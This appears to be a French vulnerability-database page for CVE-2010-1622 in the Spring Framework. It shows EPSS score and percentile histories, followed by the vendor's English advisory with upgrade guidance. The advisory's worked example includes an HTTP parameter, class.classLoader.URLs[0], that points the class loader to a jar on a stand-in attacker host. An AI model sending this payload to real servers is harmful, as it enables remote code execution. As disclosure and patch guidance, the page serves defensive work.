CVE-2010-1622 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	34.27%	–	–
2022-04-03	–	–	72.13%	–	–
2023-02-05	–	–	34.23%	–	–
2023-02-19	–	–	72.13%	–	–
2023-03-12	–	–	–	4.28%	–
2023-08-27	–	–	–	4.26%	–
2024-02-11	–	–	–	4.26%	–
2024-03-31	–	–	–	3.64%	–
2024-04-07	–	–	–	3.64%	–
2024-06-02	–	–	–	3.64%	–
2024-06-02	–	–	–	3.64%	–
2024-08-11	–	–	–	3.16%	–
2024-09-29	–	–	–	2.82%	–
2024-12-22	–	–	–	3.94%	–
2025-01-19	–	–	–	3.94%	–
2025-03-18	–	–	–	–	2.61%
2025-03-30	–	–	–	–	3.8%
2025-04-06	–	–	–	–	2.12%
2025-04-10	–	–	–	–	3.84%
2025-04-11	–	–	–	–	2.12%
2025-04-13	–	–	–	–	1.86%
2025-04-13	–	–	–	–	1.86,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	97%
2022-04-03	99%
2023-02-05	98%
2023-02-19	99%
2023-03-12	91%
2023-08-27	91%
2024-02-11	92%
2024-03-31	91%
2024-04-07	92%
2024-06-02	92%
2024-06-02	92%
2024-08-11	91%
2024-09-29	91%
2024-12-22	92%
2025-01-19	92%
2025-03-18	85%
2025-03-30	87%
2025-04-06	83%
2025-04-10	87%
2025-04-11	83%
2025-04-13	82%
2025-04-13	82%

CVE-2010-1622: Spring Framework execution of arbitrary code Severity: Critical Vendor: SpringSource, a division of VMware Versions Affected: 3.0.0 to 3.0.2 2.5.0 to 2.5.6.SEC01 (community releases) 2.5.0 to 2.5.7 (subscription customers) Earlier versions may also be affected Description: The Spring Framework provides a mechanism to use client provided data to update the properties of an object. This mechanism allows an attacker to modify the properties of the class loader used to load the object (via 'class.classloader'). This can lead to arbitrary command execution since, for example, an attacker can modify the URLs used by the class loader to point to locations controlled by the attacker. Example: This example is based on a Spring application running on Apache Tomcat. 1. Attacker creates attack.jar and makes it available via an HTTP URL. This jar has to contain following: - META-INF/spring-form.tld - defining spring form tags and specifying that they are implemented as tag files and not classes; - tag files in META-INF/tags/ containing tag definition (arbitrary Java code). 2. Attacker then submits HTTP request to a form controller with the following HTTP parameter: class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/ At this point the zeroth element of the WebappClassLoader's repositoryURLs property will be overwritten with attacker's URL. 3. Later on, org.apache.jasper.compiler.TldLocationsCache.scanJars() will use WebappClassLoader's URLs to resolve tag libraries and all tag files specified in TLD will be resolved against attacker-controller jar (HTTP retrieval of the jar file is performed by the URL class). Mitigation: All users may mitigate this issue by upgrading to 3.0.3 Community users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02 Subscription users of 2.5.x and earlier may also mitigate this issue by upgrading 2.5.6.SEC02 or 2.5.7.SR01 Credit: The issue was discovered by Meder Kydyraliev, Google Security Team References: [1] http://www.springsource.com/security/spring-framework